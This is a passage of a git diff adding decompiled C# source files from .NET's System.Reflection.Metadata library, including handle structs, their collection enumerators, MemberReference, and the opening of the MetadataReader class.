a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalConstantHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalConstantHandle.cs new file mode 100644 index 0000000..db46906 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalConstantHandle.cs @@ -0,0 +1,84 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Reflection.Metadata; + +public readonly struct LocalConstantHandle : IEquatable +{ + private const uint tokenType = 872415232u; + + private const byte tokenTypeSmall = 52; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private LocalConstantHandle(int rowId) + { + _rowId = rowId; + } + + internal static LocalConstantHandle FromRowId(int rowId) + { + return new LocalConstantHandle(rowId); + } + + public static implicit operator Handle(LocalConstantHandle handle) + { + return new Handle(52, handle._rowId); + } + + public static implicit operator EntityHandle(LocalConstantHandle handle) + { + return new EntityHandle((uint)(0x34000000uL | (ulong)handle._rowId)); + } + + public static explicit operator LocalConstantHandle(Handle handle) + { + if (handle.VType != 52) + { + Throw.InvalidCast(); + } + return new LocalConstantHandle(handle.RowId); + } + + public static explicit operator LocalConstantHandle(EntityHandle handle) + { + if (handle.VType != 872415232) + { + Throw.InvalidCast(); + } + return new LocalConstantHandle(handle.RowId); + } + + public static bool operator ==(LocalConstantHandle left, LocalConstantHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is LocalConstantHandle localConstantHandle) + { + return localConstantHandle._rowId == _rowId; + } + return false; + } + + public bool Equals(LocalConstantHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(LocalConstantHandle left, LocalConstantHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalConstantHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalConstantHandleCollection.cs new file mode 100644 index 0000000..d5a421c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalConstantHandleCollection.cs @@ -0,0 +1,86 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct LocalConstantHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public LocalConstantHandle Current => LocalConstantHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _lastRowId = lastRowId; + _currentRowId = firstRowId - 1; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal LocalConstantHandleCollection(MetadataReader reader, LocalScopeHandle scope) + { + _reader = reader; + if (scope.IsNil) + { + _firstRowId = 1; + _lastRowId = reader.LocalConstantTable.NumberOfRows; + } + else + { + reader.GetLocalConstantRange(scope, out _firstRowId, out _lastRowId); + } + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalScope.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalScope.cs new file mode 100644 index 0000000..d43a7fe --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalScope.cs @@ -0,0 +1,41 @@ +namespace System.Reflection.Metadata; + +public readonly struct LocalScope +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private LocalScopeHandle Handle => LocalScopeHandle.FromRowId(_rowId); + + public MethodDefinitionHandle Method => _reader.LocalScopeTable.GetMethod(_rowId); + + public ImportScopeHandle ImportScope => _reader.LocalScopeTable.GetImportScope(Handle); + + public int StartOffset => _reader.LocalScopeTable.GetStartOffset(_rowId); + + public int Length => _reader.LocalScopeTable.GetLength(_rowId); + + public int EndOffset => _reader.LocalScopeTable.GetEndOffset(_rowId); + + internal LocalScope(MetadataReader reader, LocalScopeHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public LocalVariableHandleCollection GetLocalVariables() + { + return new LocalVariableHandleCollection(_reader, Handle); + } + + public LocalConstantHandleCollection GetLocalConstants() + { + return new LocalConstantHandleCollection(_reader, Handle); + } + + public LocalScopeHandleCollection.ChildrenEnumerator GetChildren() + { + return new LocalScopeHandleCollection.ChildrenEnumerator(_reader, _rowId); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalScopeHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalScopeHandle.cs new file mode 100644 index 0000000..2669e13 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalScopeHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct LocalScopeHandle : IEquatable +{ + private const uint tokenType = 838860800u; + + private const byte tokenTypeSmall = 50; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private LocalScopeHandle(int rowId) + { + _rowId = rowId; + } + + internal static LocalScopeHandle FromRowId(int rowId) + { + return new LocalScopeHandle(rowId); + } + + public static implicit operator Handle(LocalScopeHandle handle) + { + return new Handle(50, handle._rowId); + } + + public static implicit operator EntityHandle(LocalScopeHandle handle) + { + return new EntityHandle((uint)(0x32000000uL | (ulong)handle._rowId)); + } + + public static explicit operator LocalScopeHandle(Handle handle) + { + if (handle.VType != 50) + { + Throw.InvalidCast(); + } + return new LocalScopeHandle(handle.RowId); + } + + public static explicit operator LocalScopeHandle(EntityHandle handle) + { + if (handle.VType != 838860800) + { + Throw.InvalidCast(); + } + return new LocalScopeHandle(handle.RowId); + } + + public static bool operator ==(LocalScopeHandle left, LocalScopeHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is LocalScopeHandle localScopeHandle) + { + return localScopeHandle._rowId == _rowId; + } + return false; + } + + public bool Equals(LocalScopeHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(LocalScopeHandle left, LocalScopeHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalScopeHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalScopeHandleCollection.cs new file mode 100644 index 0000000..a5ffdd5 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalScopeHandleCollection.cs @@ -0,0 +1,166 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct LocalScopeHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public LocalScopeHandle Current => LocalScopeHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _lastRowId = lastRowId; + _currentRowId = firstRowId - 1; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + public struct ChildrenEnumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _parentEndOffset; + + private readonly int _parentRowId; + + private readonly MethodDefinitionHandle _parentMethodRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public LocalScopeHandle Current => LocalScopeHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal ChildrenEnumerator(MetadataReader reader, int parentRowId) + { + _reader = reader; + _parentEndOffset = reader.LocalScopeTable.GetEndOffset(parentRowId); + _parentMethodRowId = reader.LocalScopeTable.GetMethod(parentRowId); + _currentRowId = 0; + _parentRowId = parentRowId; + } + + public bool MoveNext() + { + int currentRowId = _currentRowId; + int num; + int num2; + switch (currentRowId) + { + case 16777216: + return false; + case 0: + num = -1; + num2 = _parentRowId + 1; + break; + default: + num = _reader.LocalScopeTable.GetEndOffset(currentRowId); + num2 = currentRowId + 1; + break; + } + int numberOfRows = _reader.LocalScopeTable.NumberOfRows; + int endOffset; + while (true) + { + if (num2 > numberOfRows || _parentMethodRowId != _reader.LocalScopeTable.GetMethod(num2)) + { + _currentRowId = 16777216; + return false; + } + endOffset = _reader.LocalScopeTable.GetEndOffset(num2); + if (endOffset > num) + { + break; + } + num2++; + } + if (endOffset > _parentEndOffset) + { + _currentRowId = 16777216; + return false; + } + _currentRowId = num2; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal LocalScopeHandleCollection(MetadataReader reader, int methodDefinitionRowId) + { + _reader = reader; + if (methodDefinitionRowId == 0) + { + _firstRowId = 1; + _lastRowId = reader.LocalScopeTable.NumberOfRows; + } + else + { + reader.LocalScopeTable.GetLocalScopeRange(methodDefinitionRowId, out _firstRowId, out _lastRowId); + } + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalVariable.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalVariable.cs new file mode 100644 index 0000000..e5a690d --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalVariable.cs @@ -0,0 +1,22 @@ +namespace System.Reflection.Metadata; + +public readonly struct LocalVariable +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private LocalVariableHandle Handle => LocalVariableHandle.FromRowId(_rowId); + + public LocalVariableAttributes Attributes => _reader.LocalVariableTable.GetAttributes(Handle); + + public int Index => _reader.LocalVariableTable.GetIndex(Handle); + + public StringHandle Name => _reader.LocalVariableTable.GetName(Handle); + + internal LocalVariable(MetadataReader reader, LocalVariableHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalVariableAttributes.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalVariableAttributes.cs new file mode 100644 index 0000000..7519d2c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalVariableAttributes.cs @@ -0,0 +1,8 @@ +namespace System.Reflection.Metadata; + +[Flags] +public enum LocalVariableAttributes +{ + None = 0, + DebuggerHidden = 1 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalVariableHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalVariableHandle.cs new file mode 100644 index 0000000..6ff8cbe --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalVariableHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct LocalVariableHandle : IEquatable +{ + private const uint tokenType = 855638016u; + + private const byte tokenTypeSmall = 51; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private LocalVariableHandle(int rowId) + { + _rowId = rowId; + } + + internal static LocalVariableHandle FromRowId(int rowId) + { + return new LocalVariableHandle(rowId); + } + + public static implicit operator Handle(LocalVariableHandle handle) + { + return new Handle(51, handle._rowId); + } + + public static implicit operator EntityHandle(LocalVariableHandle handle) + { + return new EntityHandle((uint)(0x33000000uL | (ulong)handle._rowId)); + } + + public static explicit operator LocalVariableHandle(Handle handle) + { + if (handle.VType != 51) + { + Throw.InvalidCast(); + } + return new LocalVariableHandle(handle.RowId); + } + + public static explicit operator LocalVariableHandle(EntityHandle handle) + { + if (handle.VType != 855638016) + { + Throw.InvalidCast(); + } + return new LocalVariableHandle(handle.RowId); + } + + public static bool operator ==(LocalVariableHandle left, LocalVariableHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is LocalVariableHandle localVariableHandle) + { + return localVariableHandle._rowId == _rowId; + } + return false; + } + + public bool Equals(LocalVariableHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(LocalVariableHandle left, LocalVariableHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalVariableHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalVariableHandleCollection.cs new file mode 100644 index 0000000..1aa6276 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/LocalVariableHandleCollection.cs @@ -0,0 +1,86 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct LocalVariableHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public LocalVariableHandle Current => LocalVariableHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _lastRowId = lastRowId; + _currentRowId = firstRowId - 1; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal LocalVariableHandleCollection(MetadataReader reader, LocalScopeHandle scope) + { + _reader = reader; + if (scope.IsNil) + { + _firstRowId = 1; + _lastRowId = reader.LocalVariableTable.NumberOfRows; + } + else + { + reader.GetLocalVariableRange(scope, out _firstRowId, out _lastRowId); + } + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ManifestResource.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ManifestResource.cs new file mode 100644 index 0000000..2272a5a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ManifestResource.cs @@ -0,0 +1,29 @@ +namespace System.Reflection.Metadata; + +public readonly struct ManifestResource +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private ManifestResourceHandle Handle => ManifestResourceHandle.FromRowId(_rowId); + + public long Offset => _reader.ManifestResourceTable.GetOffset(Handle); + + public ManifestResourceAttributes Attributes => _reader.ManifestResourceTable.GetFlags(Handle); + + public StringHandle Name => _reader.ManifestResourceTable.GetName(Handle); + + public EntityHandle Implementation => _reader.ManifestResourceTable.GetImplementation(Handle); + + internal ManifestResource(MetadataReader reader, ManifestResourceHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ManifestResourceHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ManifestResourceHandle.cs new file mode 100644 index 0000000..dbe3e40 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ManifestResourceHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct ManifestResourceHandle : IEquatable +{ + private const uint tokenType = 671088640u; + + private const byte tokenTypeSmall = 40; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private ManifestResourceHandle(int rowId) + { + _rowId = rowId; + } + + internal static ManifestResourceHandle FromRowId(int rowId) + { + return new ManifestResourceHandle(rowId); + } + + public static implicit operator Handle(ManifestResourceHandle handle) + { + return new Handle(40, handle._rowId); + } + + public static implicit operator EntityHandle(ManifestResourceHandle handle) + { + return new EntityHandle((uint)(0x28000000uL | (ulong)handle._rowId)); + } + + public static explicit operator ManifestResourceHandle(Handle handle) + { + if (handle.VType != 40) + { + Throw.InvalidCast(); + } + return new ManifestResourceHandle(handle.RowId); + } + + public static explicit operator ManifestResourceHandle(EntityHandle handle) + { + if (handle.VType != 671088640) + { + Throw.InvalidCast(); + } + return new ManifestResourceHandle(handle.RowId); + } + + public static bool operator ==(ManifestResourceHandle left, ManifestResourceHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is ManifestResourceHandle) + { + return ((ManifestResourceHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(ManifestResourceHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(ManifestResourceHandle left, ManifestResourceHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ManifestResourceHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ManifestResourceHandleCollection.cs new file mode 100644 index 0000000..d248613 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ManifestResourceHandleCollection.cs @@ -0,0 +1,70 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct ManifestResourceHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public ManifestResourceHandle Current => ManifestResourceHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(int lastRowId) + { + _lastRowId = lastRowId; + _currentRowId = 0; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly int _lastRowId; + + public int Count => _lastRowId; + + internal ManifestResourceHandleCollection(int lastRowId) + { + _lastRowId = lastRowId; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MemberReference.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MemberReference.cs new file mode 100644 index 0000000..0cde6db --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MemberReference.cs @@ -0,0 +1,106 @@ +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct MemberReference +{ + private readonly MetadataReader _reader; + + private readonly uint _treatmentAndRowId; + + private int RowId => (int)(_treatmentAndRowId & 0xFFFFFF); + + private MemberRefTreatment Treatment => (MemberRefTreatment)(_treatmentAndRowId >> 24); + + private MemberReferenceHandle Handle => MemberReferenceHandle.FromRowId(RowId); + + public EntityHandle Parent + { + get + { + if (Treatment == MemberRefTreatment.None) + { + return _reader.MemberRefTable.GetClass(Handle); + } + return GetProjectedParent(); + } + } + + public StringHandle Name + { + get + { + if (Treatment == MemberRefTreatment.None) + { + return _reader.MemberRefTable.GetName(Handle); + } + return GetProjectedName(); + } + } + + public BlobHandle Signature + { + get + { + if (Treatment == MemberRefTreatment.None) + { + return _reader.MemberRefTable.GetSignature(Handle); + } + return GetProjectedSignature(); + } + } + + internal MemberReference(MetadataReader reader, uint treatmentAndRowId) + { + _reader = reader; + _treatmentAndRowId = treatmentAndRowId; + } + + public TType DecodeFieldSignature(ISignatureTypeProvider provider, TGenericContext genericContext) + { + SignatureDecoder signatureDecoder = new SignatureDecoder(provider, _reader, genericContext); + BlobReader blobReader = _reader.GetBlobReader(Signature); + return signatureDecoder.DecodeFieldSignature(ref blobReader); + } + + public MethodSignature DecodeMethodSignature(ISignatureTypeProvider provider, TGenericContext genericContext) + { + SignatureDecoder signatureDecoder = new SignatureDecoder(provider, _reader, genericContext); + BlobReader blobReader = _reader.GetBlobReader(Signature); + return signatureDecoder.DecodeMethodSignature(ref blobReader); + } + + public MemberReferenceKind GetKind() + { + return _reader.GetBlobReader(Signature).ReadSignatureHeader().Kind switch + { + SignatureKind.Method => MemberReferenceKind.Method, + SignatureKind.Field => MemberReferenceKind.Field, + _ => throw new BadImageFormatException(), + }; + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } + + private EntityHandle GetProjectedParent() + { + return _reader.MemberRefTable.GetClass(Handle); + } + + private StringHandle GetProjectedName() + { + if (Treatment == MemberRefTreatment.Dispose) + { + return StringHandle.FromVirtualIndex(StringHandle.VirtualIndex.Dispose); + } + return _reader.MemberRefTable.GetName(Handle); + } + + private BlobHandle GetProjectedSignature() + { + return _reader.MemberRefTable.GetSignature(Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MemberReferenceHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MemberReferenceHandle.cs new file mode 100644 index 0000000..4ef5862 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MemberReferenceHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct MemberReferenceHandle : IEquatable +{ + private const uint tokenType = 167772160u; + + private const byte tokenTypeSmall = 10; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private MemberReferenceHandle(int rowId) + { + _rowId = rowId; + } + + internal static MemberReferenceHandle FromRowId(int rowId) + { + return new MemberReferenceHandle(rowId); + } + + public static implicit operator Handle(MemberReferenceHandle handle) + { + return new Handle(10, handle._rowId); + } + + public static implicit operator EntityHandle(MemberReferenceHandle handle) + { + return new EntityHandle((uint)(0xA000000uL | (ulong)handle._rowId)); + } + + public static explicit operator MemberReferenceHandle(Handle handle) + { + if (handle.VType != 10) + { + Throw.InvalidCast(); + } + return new MemberReferenceHandle(handle.RowId); + } + + public static explicit operator MemberReferenceHandle(EntityHandle handle) + { + if (handle.VType != 167772160) + { + Throw.InvalidCast(); + } + return new MemberReferenceHandle(handle.RowId); + } + + public static bool operator ==(MemberReferenceHandle left, MemberReferenceHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is MemberReferenceHandle) + { + return ((MemberReferenceHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(MemberReferenceHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(MemberReferenceHandle left, MemberReferenceHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MemberReferenceHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MemberReferenceHandleCollection.cs new file mode 100644 index 0000000..f3808d3 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MemberReferenceHandleCollection.cs @@ -0,0 +1,70 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct MemberReferenceHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public MemberReferenceHandle Current => MemberReferenceHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(int lastRowId) + { + _lastRowId = lastRowId; + _currentRowId = 0; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly int _lastRowId; + + public int Count => _lastRowId; + + internal MemberReferenceHandleCollection(int lastRowId) + { + _lastRowId = lastRowId; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MemberReferenceKind.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MemberReferenceKind.cs new file mode 100644 index 0000000..4de26d1 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MemberReferenceKind.cs @@ -0,0 +1,7 @@ +namespace System.Reflection.Metadata; + +public enum MemberReferenceKind +{ + Method, + Field +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataKind.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataKind.cs new file mode 100644 index 0000000..5c58cd0 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataKind.cs @@ -0,0 +1,8 @@ +namespace System.Reflection.Metadata; + +public enum MetadataKind +{ + Ecma335, + WindowsMetadata, + ManagedWindowsMetadata +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataReader.cs new file mode 100644 index 0000000..e3b17a3 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataReader.cs @@ -0,0 +1,1899 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Configuration.Assemblies; +using System.Diagnostics; +using System.IO; +using System.IO.MemoryMappedFiles; +using System.Reflection.Internal; +using System.Reflection.Metadata.Ecma335; +using System.Reflection.PortableExecutable; +using System.Runtime.CompilerServices; +using System.Text; +using Microsoft.Win32.SafeHandles; + +namespace System.Reflection.Metadata; + +public sealed class MetadataReader +{ + private readonly struct ProjectionInfo(string winRtNamespace, StringHandle.VirtualIndex clrNamespace, StringHandle.VirtualIndex clrName, AssemblyReferenceHandle.VirtualIndex clrAssembly, TypeDefTreatment treatment = TypeDefTreatment.RedirectedToClrType, TypeRefSignatureTreatment signatureTreatment = TypeRefSignatureTreatment.None, bool isIDisposable = false) + { + public readonly string WinRTNamespace = winRtNamespace; + + public readonly StringHandle.VirtualIndex ClrNamespace = clrNamespace; + + public readonly StringHandle.VirtualIndex ClrName = clrName; + + public readonly AssemblyReferenceHandle.VirtualIndex AssemblyRef = clrAssembly; + + public readonly TypeDefTreatment Treatment = treatment; + + public readonly TypeRefSignatureTreatment SignatureTreatment = signatureTreatment; + + public readonly bool IsIDisposable = isIDisposable; + } + + internal readonly NamespaceCache NamespaceCache; + + internal readonly MemoryBlock Block; + + internal readonly int WinMDMscorlibRef; + + private readonly object _memoryOwnerObj; + + private readonly MetadataReaderOptions _options; + + private Dictionary> _lazyNestedTypesMap; + + private readonly string _versionString; + + private readonly MetadataKind _metadataKind; + + private readonly MetadataStreamKind _metadataStreamKind; + + private readonly DebugMetadataHeader _debugMetadataHeader; + + internal StringHeap StringHeap; + + internal BlobHeap BlobHeap; + + internal GuidHeap GuidHeap; + + internal UserStringHeap UserStringHeap; + + internal bool IsMinimalDelta; + + private readonly TableMask _sortedTables; + + internal int[] TableRowCounts; + + internal ModuleTableReader ModuleTable; + + internal TypeRefTableReader TypeRefTable; + + internal TypeDefTableReader TypeDefTable; + + internal FieldPtrTableReader FieldPtrTable; + + internal FieldTableReader FieldTable; + + internal MethodPtrTableReader MethodPtrTable; + + internal MethodTableReader MethodDefTable; + + internal ParamPtrTableReader ParamPtrTable; + + internal ParamTableReader ParamTable; + + internal InterfaceImplTableReader InterfaceImplTable; + + internal MemberRefTableReader MemberRefTable; + + internal ConstantTableReader ConstantTable; + + internal CustomAttributeTableReader CustomAttributeTable; + + internal FieldMarshalTableReader FieldMarshalTable; + + internal 